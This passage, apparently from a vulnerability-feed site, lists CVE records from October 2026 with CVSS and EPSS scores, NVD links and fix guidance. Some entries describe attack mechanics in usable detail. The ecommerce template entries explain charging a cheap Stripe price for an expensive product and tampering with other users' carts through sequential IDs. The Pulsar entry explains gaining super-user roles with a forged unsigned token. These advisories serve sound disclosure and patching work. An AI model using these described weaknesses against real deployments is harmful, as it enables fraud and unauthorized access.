A configuration weakness in the device’s remote management service allows an authenticated session to be established over a communication channel intended solely for vehicle-charger signaling. The service is accessible on interfaces exposed through the charging connector, and it accepts a default administrative credential. A malicious device physically connected to the charging interface could leverage this misconfiguration to obtain full administrative access.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in Extensions in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a...
https://kevwire.com/record/CVE-2026-113220
Memory corruption in Extensions in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a... (Oct 20, 2026).
Memory corruption in Extensions in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113220).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113220&date=2026-10-25).
Sources:
NVD CVE-2026-113220: https://nvd.nist.gov/vuln/detail/CVE-2026-113220
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113220&date=2026-10-25
Memory corruption in Extensions in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Authorization Bypass Through User-Controlled Key (CWE-639) in the cart and wishlist repositories of MarcosCamara01 Ecommerce Template allows any authenticated user to delete and...
https://kevwire.com/record/CVE-2026-115453
Authorization Bypass Through User-Controlled Key (CWE-639) in the cart and wishlist repositories of MarcosCamara01 Ecommerce Template allows any authenticated user to delete and... (Oct 22, 2026).
Authorization Bypass Through User-Controlled Key (CWE-639) in the cart and wishlist repositories of MarcosCamara01 Ecommerce Template allows any authenticated user to delete and modify the cart and wishlist rows of any other user, because cartRepository.delete(), cartRepository.updateQuantityInternal() and wishlistRepository.delete() in src/lib/db/drizzle/repositories/ match rows by primary key alone, with no predicate on the owning user, and the per user authorization for those three operations rests on PostgreSQL row level security. The migrations run ALTER TABLE ... ENABLE ROW LEVEL SECURITY and create policies comparing app.current_user_id() with user_id, but never ALTER TABLE ... FORCE ROW LEVEL SECURITY, and PostgreSQL does not apply policies to the role that owns a table. The template uses one DATABASE_URL both to run the migrations, which create the tables, and for the application at runtime, so the application connects as the owner of the tables and the policies do not apply to it. cart_items.id and wishlist.id are sequential bigserial values, so the identifiers of rows belonging to other users can be enumerated, and the update path returns the modified row, which carries the identifier of the user it belongs to. This results in the destruction and modification of cart and wishlist contents belonging to other accounts of the installation.
CVSS 7.1 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115453).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115453&date=2026-10-25).
Sources:
NVD CVE-2026-115453: https://nvd.nist.gov/vuln/detail/CVE-2026-115453
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115453&date=2026-10-25
Authorization Bypass Through User-Controlled Key (CWE-639) in the cart and wishlist repositories of MarcosCamara01 Ecommerce Template allows any authenticated user to delete and modify the cart and wishlist rows of any other user, because cartRepository.delete(), cartRepository.updateQuantityInternal() and wishlistRepository.delete() in src/lib/db/drizzle/repositories/ match rows by primary key alone, with no predicate on the owning user, and the per user authorization for those three operations rests on PostgreSQL row level security. The migrations run ALTER TABLE ... ENABLE ROW LEVEL SECURITY and create policies comparing app.current_user_id() with user_id, but never ALTER TABLE ... FORCE ROW LEVEL SECURITY, and PostgreSQL does not apply policies to the role that owns a table. The template uses one DATABASE_URL both to run the migrations, which create the tables, and for the application at runtime, so the application connects as the owner of the tables and the policies do not apply to it. cart_items.id and wishlist.id are sequential bigserial values, so the identifiers of rows belonging to other users can be enumerated, and the update path returns the modified row, which carries the identifier of the user it belongs to. This results in the destruction and modification of cart and wishlist contents belonging to other accounts of the installation.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### External Control of Assumed-Immutable Web Parameter (CWE-472) in the cart and checkout flow of MarcosCamara01 Ecommerce Template allows an authenticated user with no special...
https://kevwire.com/record/CVE-2026-115450
External Control of Assumed-Immutable Web Parameter (CWE-472) in the cart and checkout flow of MarcosCamara01 Ecommerce Template allows an authenticated user with no special... (Oct 22, 2026).
External Control of Assumed-Immutable Web Parameter (CWE-472) in the cart and checkout flow of MarcosCamara01 Ecommerce Template allows an authenticated user with no special privileges to be charged the price of one product while placing an order for another, because POST /api/user/cart accepts variantId, which determines what the order records, and stripeId, which determines what Stripe charges, as two independent fields of the request body, stores both on the cart row, and no check requires the stripeId to be the one that belongs to the variantId. POST /api/stripe/payment builds the Stripe Checkout line items from the stored value, as { price: item.stripeId, quantity }, so the amount charged is the amount of that Stripe price. The checkout.session.completed webhook then creates the order products from the variantId of the same cart row, so the order records a product that was not paid for. Every stripeId in the catalogue is readable by any visitor, so no value has to be guessed. This results in orders for goods at the price of the cheapest item in the catalogue, repeatable without limit, and in order records whose amount does not correspond to the product they list.
CVSS 7.1 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115450).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115450&date=2026-10-25).
Sources:
NVD CVE-2026-115450: https://nvd.nist.gov/vuln/detail/CVE-2026-115450
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115450&date=2026-10-25
External Control of Assumed-Immutable Web Parameter (CWE-472) in the cart and checkout flow of MarcosCamara01 Ecommerce Template allows an authenticated user with no special privileges to be charged the price of one product while placing an order for another, because POST /api/user/cart accepts variantId, which determines what the order records, and stripeId, which determines what Stripe charges, as two independent fields of the request body, stores both on the cart row, and no check requires the stripeId to be the one that belongs to the variantId. POST /api/stripe/payment builds the Stripe Checkout line items from the stored value, as { price: item.stripeId, quantity }, so the amount charged is the amount of that Stripe price. The checkout.session.completed webhook then creates the order products from the variantId of the same cart row, so the order records a product that was not paid for. Every stripeId in the catalogue is readable by any visitor, so no value has to be guessed. This results in orders for goods at the price of the cheapest item in the catalogue, repeatable without limit, and in order records whose amount does not correspond to the product they list.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper authentication in AAD App Proxy allows an unauthorized attacker to elevate privileges over a network.
https://kevwire.com/record/CVE-2026-97785
Improper authentication in AAD App Proxy allows an unauthorized attacker to elevate privileges over a network. (Oct 22, 2026).
Improper authentication in AAD App Proxy allows an unauthorized attacker to elevate privileges over a network.
CVSS 10.0 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97785).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97785&date=2026-10-25).
Sources:
NVD CVE-2026-97785: https://nvd.nist.gov/vuln/detail/CVE-2026-97785
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97785&date=2026-10-25
Improper authentication in AAD App Proxy allows an unauthorized attacker to elevate privileges over a network.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability has been identified in Mendix SAML (Mendix 10 compatible) (All versions < V4.2.4), Mendix SAML (Mendix 11 compatible) (All versions < V4.2.4), Mendix SAML (Mendix...
https://kevwire.com/record/CVE-2026-89209
A vulnerability has been identified in Mendix SAML (Mendix 10 compatible) (All versions < V4.2.4), Mendix SAML (Mendix 11 compatible) (All versions < V4.2.4), Mendix SAML (Mendix... (Oct 26, 2026).
A vulnerability has been identified in Mendix SAML (Mendix 10 compatible) (All versions < V4.2.4), Mendix SAML (Mendix 11 compatible) (All versions < V4.2.4), Mendix SAML (Mendix 9 compatible) (All versions < V3.6.29). Affected versions of the module do not properly protect against SAML assertion replay in IdP-initiated authentication flows. This could allow unauthenticated remote attackers to gain unauthorized access to the application by replaying a valid SAML response.
CVSS 7.6 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-89209).
Sources:
NVD CVE-2026-89209: https://nvd.nist.gov/vuln/detail/CVE-2026-89209
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500
A vulnerability has been identified in Mendix SAML (Mendix 10 compatible) (All versions < V4.2.4), Mendix SAML (Mendix 11 compatible) (All versions < V4.2.4), Mendix SAML (Mendix 9 compatible) (All versions < V3.6.29). Affected versions of the module do not properly protect against SAML assertion replay in IdP-initiated authentication flows. This could allow unauthenticated remote attackers to gain unauthorized access to the application by replaying a valid SAML response.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Missing authentication for critical function in Azure Kubernetes Configuration Service allows an unauthorized attacker to elevate privileges over a network.
https://kevwire.com/record/CVE-2026-83938
Missing authentication for critical function in Azure Kubernetes Configuration Service allows an unauthorized attacker to elevate privileges over a network. (Oct 22, 2026).
Missing authentication for critical function in Azure Kubernetes Configuration Service allows an unauthorized attacker to elevate privileges over a network.
CVSS 10.0 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83938).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83938&date=2026-10-25).
Sources:
NVD CVE-2026-83938: https://nvd.nist.gov/vuln/detail/CVE-2026-83938
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83938&date=2026-10-25
Missing authentication for critical function in Azure Kubernetes Configuration Service allows an unauthorized attacker to elevate privileges over a network.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Apache Pulsar's MultiRolesTokenAuthorizationProvider authorizes a client with all roles listed in a claim of its JSON Web Token (JWT).
https://kevwire.com/record/CVE-2026-105869
Apache Pulsar's MultiRolesTokenAuthorizationProvider authorizes a client with all roles listed in a claim of its JSON Web Token (JWT). (Oct 21, 2026).
Apache Pulsar's MultiRolesTokenAuthorizationProvider authorizes a client with all roles listed in a claim of its JSON Web Token (JWT). The provider is intended for use with token authentication, which verifies the token before authorization. The provider did not verify the token itself: it parsed the token's claims with the signature removed and trusted that authentication had already checked it.

When authentication and authorization are enabled with a non-empty anonymousUserRole setting, some HTTP requests whose credentials fail authentication are not rejected, but are handled as requests of the anonymous user role. For the broker's HTTP endpoints, such as the admin REST API, this fallback applies to requests that do not name an authentication method and requires strictAuthMethod to be false (the default) where that setting is available. For the WebSocket API, failed credentials can also fall back to the anonymous user role; this path does not enforce strictAuthMethod. The authentication data kept for such a request still contained the request's Authorization header. MultiRolesTokenAuthorizationProvider then read the bearer token from that header without verifying its signature and authorized the request with the roles in the token's role claim.

As a result, in deployments that use MultiRolesTokenAuthorizationProvider together with a non-empty anonymousUserRole and that permit this fallback, an unauthenticated client can send an HTTP request, for example to the admin REST API or the WebSocket API, with a forged or unsigned token that lists arbitrary roles, and be authorized with those roles. The impact can include super-user access when the token lists a role configured in superUserRoles, allowing the client to read and change tenants, namespaces, topics, permissions and broker configuration. No valid credentials are required.

Deployments are not affected if they use the default authorization provider (PulsarAuthorizationProvider) or another authorization provider, or if anonymousUserRole is not set (the default). Requests that authenticate successfully with a valid token are not affected, because the token that MultiRolesTokenAuthorizationProvider reads is
CVSS 9.2 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105869).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105869&date=2026-10-25).
Sources:
NVD CVE-2026-105869: https://nvd.nist.gov/vuln/detail/CVE-2026-105869
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105869&date=2026-10-25
Apache Pulsar's MultiRolesTokenAuthorizationProvider authorizes a client with all roles listed in a claim of its JSON Web Token (JWT). The provider is intended for use with token authentication, which verifies the token before authorization. The provider did not verify the token itself: it parsed the token's claims with the signature removed and trusted that authentication had already checked it.

When authentication and authorization are enabled with a non-empty anonymousUserRole setting, some HTTP requests whose credentials fail authentication are not rejected, but are handled as requests of the anonymous user role. For the broker's HTTP endpoints, such as the admin REST API, this fallback applies to requests that do not name an authentication method and requires strictAuthMethod to be false (the default) where that setting is available. For the WebSocket API, failed credentials can also fall back to the anonymous user role; this path does not enforce strictAuthMethod. The authentication data kept for such a request still contained the request's Authorization header. MultiRolesTokenAuthorizationProvider then read the bearer token from that header without verifying its signature and authorized the request with the roles in the token's role claim.

As a result, in deployments that use MultiRolesTokenAuthorizationProvider together with a non-empty anonymousUserRole and that permit this fallback, an unauthenticated client can send an HTTP request, for example to the admin REST API or the WebSocket API, with a forged or unsigned token that lists arbitrary roles, and be authorized with those roles. The impact can include super-user access when the token lists a role configured in superUserRoles, allowing the client to read and change tenants, namespaces, topics, permissions and broker configuration. No valid credentials are required.

Deployments are not affected if they use the default authorization provider (PulsarAuthorizationProvider) or another authorization provider, or if anonymousUserRole is not set (the default). Requests that authenticate successfully with a valid token are not affected, because the token that MultiRolesTokenAuthorizationProvider reads is the token that authentication verified. Connections that use the Pulsar binary protocol are not affected by this issue, because the broker does not keep client authentication data for connections that it assigns to the anonymous user role.

In fixed versions, MultiRolesTokenAuthorizationProvider obtains roles only from tokens that the configured token authentication provider has verified, using its configured keys and validation settings. Broker HTTP requests that are assigned to the anonymous user role are authorized only as that role, and invalid tokens cannot supply additional roles to WebSocket requests. The broker fails to start if MultiRolesTokenAuthorizationProvider is configured with authorization enabled but without a token authentication provider.

This issue affects Apache Pulsar versions from 2.8.1 before 4.0.14 and from 4.1.0 before 4.2.5.

- 4.0.x version users should upgrade to at least 4.0.14.
- 4.1.x and 4.2.x version users should upgrade to at least 4.2.5.

Users operating versions prior to those listed above should upgrade to the aforementioned patched versions or newer versions.

The currently supported Apache Pulsar release lines are 4.0.x and 5.0.x. The supported versions schedule is available at https://pulsar.apache.org/contribute/release-policy/.

Users who cannot upgrade immediately can remove the anonymousUserRole setting from the broker and WebSocket service configurations, or restrict network access to the HTTP endpoints of these services to trusted clients.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Apache Traffic Server's experimental tsmemcache plugin allows unauthenticated network read, write, and deletion of the shared proxy cache.
https://kevwire.com/record/CVE-2026-111811
Apache Traffic Server's experimental tsmemcache plugin allows unauthenticated network read, write, and deletion of the shared proxy cache. (Oct 21, 2026).
Apache Traffic Server's experimental tsmemcache plugin allows unauthenticated network read, write, and deletion of the shared proxy cache.



This issue affects Apache Traffic Server: from 8.0.0 through 8.1.11, from 9.0.0 through 9.2.15, from 10.0.0 through 10.1.4, 10.2.0.



Users are recommended to upgrade to version 9.2.16, 10.1.5, or 10.2.1, which fix the issue.
CVSS 9.4 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111811).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111811&date=2026-10-25).
Sources:
NVD CVE-2026-111811: https://nvd.nist.gov/vuln/detail/CVE-2026-111811
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111811&date=2026-10-25
Apache Traffic Server's experimental tsmemcache plugin allows unauthenticated network read, write, and deletion of the shared proxy cache.



This issue affects Apache Traffic Server: from 8.0.0 through 8.1.11, from 9.0.0 through 9.2.15, from 10.0.0 through 10.1.4, 10.2.0.



Users are recommended to upgrade to version 9.2.16, 10.1.5, or 10.2.1, which fix the issue.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Apache Traffic Server's experimental magick plugin lets an unauthenticated client control ImageMagick convert arguments in its default (unsigned) configuration.
https://kevwire.com/record/CVE-2026-111813
Apache Traffic Server's experimental magick plugin lets an unauthenticated client control ImageMagick convert arguments in its default (unsigned) configuration. (Oct 21, 2026).
Apache Traffic Server's experimental magick plugin lets an unauthenticated client control ImageMagick convert arguments in its default (unsigned) configuration.



This issue affects Apache Traffic Server: from 8.0.1 through 8.1.11, from 9.0.0 through 9.2.15, from 10.0.0 through 10.1.4, 10.2.0.



Users are recommended to upgrade to version 9.2.16, 10.1.5, or 10.2.1, which fix the issue.
CVSS 10.0 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111813).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111813&date=2026-10-25).
Sources:
NVD CVE-2026-111813: https://nvd.nist.gov/vuln/detail/CVE-2026-111813
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111813&date=2026-10-25
Apache Traffic Server's experimental magick plugin lets an unauthenticated client control ImageMagick convert arguments in its default (unsigned) configuration.



This issue affects Apache Traffic Server: from 8.0.1 through 8.1.11, from 9.0.0 through 9.2.15, from 10.0.0 through 10.1.4, 10.2.0.



Users are recommended to upgrade to version 9.2.16, 10.1.5, or 10.2.1, which fix the issue.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Apache Traffic Server forwarded a malformed 302 response that should have been rejected as a parse error, because the Transfer-Encoding: chunked carve-out bypassed the rejection...
https://kevwire.com/record/CVE-2026-111816
Apache Traffic Server forwarded a malformed 302 response that should have been rejected as a parse error, because the Transfer-Encoding: chunked carve-out bypassed the rejection... (Oct 21, 2026).
Apache Traffic Server forwarded a malformed 302 response that should have been rejected as a parse error, because the Transfer-Encoding: chunked carve-out bypassed the rejection path. A response that two peers can read differently is then stored and served, allowing cache poisoning and response-framing desync.



This issue affects Apache Traffic Server: from 8.0.0 through 8.1.11, from 9.0.0 through 9.2.15, from 10.0.0 through 10.1.4, 10.2.0.



Users are recommended to upgrade to version 9.2.16, 10.1.5, or 10.2.1, which fix the issue.
CVSS 9.2 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111816).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111816&date=2026-10-25).
Sources:
NVD CVE-2026-111816: https://nvd.nist.gov/vuln/detail/CVE-2026-111816
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111816&date=2026-10-25
Apache Traffic Server forwarded a malformed 302 response that should have been rejected as a parse error, because the Transfer-Encoding: chunked carve-out bypassed the rejection path. A response that two peers can read differently is then stored and served, allowing cache poisoning and response-framing desync.



This issue affects Apache Traffic Server: from 8.0.0 through 8.1.11, from 9.0.0 through 9.2.15, from 10.0.0 through 10.1.4, 10.2.0.



Users are recommended to upgrade to version 9.2.16, 10.1.5, or 10.2.1, which fix the issue.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco owned Open Source Snort 3 Software engineering team has conducted a comprehensive...
https://kevwire.com/record/CVE-2026-20043
As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco owned Open Source Snort 3 Software engineering team has conducted a comprehensive... (Oct 21, 2026).
As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco owned Open Source Snort 3 Software engineering team has conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities.

The vulnerabilities tracked by CVE-2026-20043 are related to issues concerning out-of-bounds writes that are grouped under the Common Weakness Enumeration (CWE) Base CWE-787.
CVSS 9.0 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-20043).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-20043&date=2026-10-25).
Sources:
NVD CVE-2026-20043: https://nvd.nist.gov/vuln/detail/CVE-2026-20043
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-20043&date=2026-10-25
As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco owned Open Source Snort 3 Software engineering team has conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities.

The vulnerabilities tracked by CVE-2026-20043 are related to issues concerning out-of-bounds writes that are grouped under the Common Weakness Enumeration (CWE) Base CWE-787.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco owned Open Source Snort 3 Software engineering team has conducted a comprehensive...
https://kevwire.com/record/CVE-2026-20236
As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco owned Open Source Snort 3 Software engineering team has conducted a comprehensive... (Oct 21, 2026).
As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco owned Open Source Snort 3 Software engineering team has conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities.

The vulnerabilities tracked by CVE-2026-20236 are related to issues concerning incorrect calculation that are grouped under the Common Weakness Enumeration (CWE) Base CWE-682.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-20236).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-20236&date=2026-10-25).
Sources:
NVD CVE-2026-20236: https://nvd.nist.gov/vuln/detail/CVE-2026-20236
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-20236&date=2026-10-25
As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco owned Open Source Snort 3 Software engineering team has conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities.

The vulnerabilities tracked by CVE-2026-20236 are related to issues concerning incorrect calculation that are grouped under the Common Weakness Enumeration (CWE) Base CWE-682.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: ksmbd: fix heap out-of-bounds write in krb5_authenticate()
https://kevwire.com/record/CVE-2026-99083
Linux kernel: ksmbd: fix heap out-of-bounds write in krb5_authenticate() (Oct 23, 2026).
In the Linux kernel, the following vulnerability has been resolved:

ksmbd: fix heap out-of-bounds write in krb5_authenticate()

In krb5_authenticate(), out_len is calculated to determine available
headroom in response_buf for the incoming Kerberos AP-REP token. However,
when SMB2_SESSION_SETUP is processed as a non-first element of a compounded
SMB2 request, the calculation omits work->next_smb2_rsp_hdr_off.

This causes out_len to overstate remaining buffer headroom by
the cumulative size of prior responses in the compound chain. Consequently,
the length check in ksmbd_krb5_authenticate()
(*out_len <= resp->spnego_blob_len) passes erroneously, allowing memcpy()
to write the AP-REP blob past the end of response_buf into adjacent kernel
heap memory.

Fix this by subtracting work->next_smb2_rsp_hdr_off when computing out_len,
ensuring it accurately reflects physical remaining buffer space.
CVSS 8.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-99083).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-99083&date=2026-10-25).
Sources:
NVD CVE-2026-99083: https://nvd.nist.gov/vuln/detail/CVE-2026-99083
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-99083&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

ksmbd: fix heap out-of-bounds write in krb5_authenticate()

In krb5_authenticate(), out_len is calculated to determine available
headroom in response_buf for the incoming Kerberos AP-REP token. However,
when SMB2_SESSION_SETUP is processed as a non-first element of a compounded
SMB2 request, the calculation omits work->next_smb2_rsp_hdr_off.

This causes out_len to overstate remaining buffer headroom by
the cumulative size of prior responses in the compound chain. Consequently,
the length check in ksmbd_krb5_authenticate()
(*out_len <= resp->spnego_blob_len) passes erroneously, allowing memcpy()
to write the AP-REP blob past the end of response_buf into adjacent kernel
heap memory.

Fix this by subtracting work->next_smb2_rsp_hdr_off when computing out_len,
ensuring it accurately reflects physical remaining buffer space.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: HID: steam: Rearrange teardown sequence
https://kevwire.com/record/CVE-2026-98945
Linux kernel: HID: steam: Rearrange teardown sequence (Oct 23, 2026).
In the Linux kernel, the following vulnerability has been resolved:

HID: steam: Rearrange teardown sequence

This fixes a narrow window during the teardown sequence where callbacks
could still be scheduled during cleanup that would then have a dangling
pointer to the now-freed steam struct.

This also puts work canceling for rumble and mode switch in
steam_unregister, as that shouldn't persist while the client hdev is open.
CVSS 7.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-98945).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-98945&date=2026-10-25).
Sources:
NVD CVE-2026-98945: https://nvd.nist.gov/vuln/detail/CVE-2026-98945
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-98945&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

HID: steam: Rearrange teardown sequence

This fixes a narrow window during the teardown sequence where callbacks
could still be scheduled during cleanup that would then have a dangling
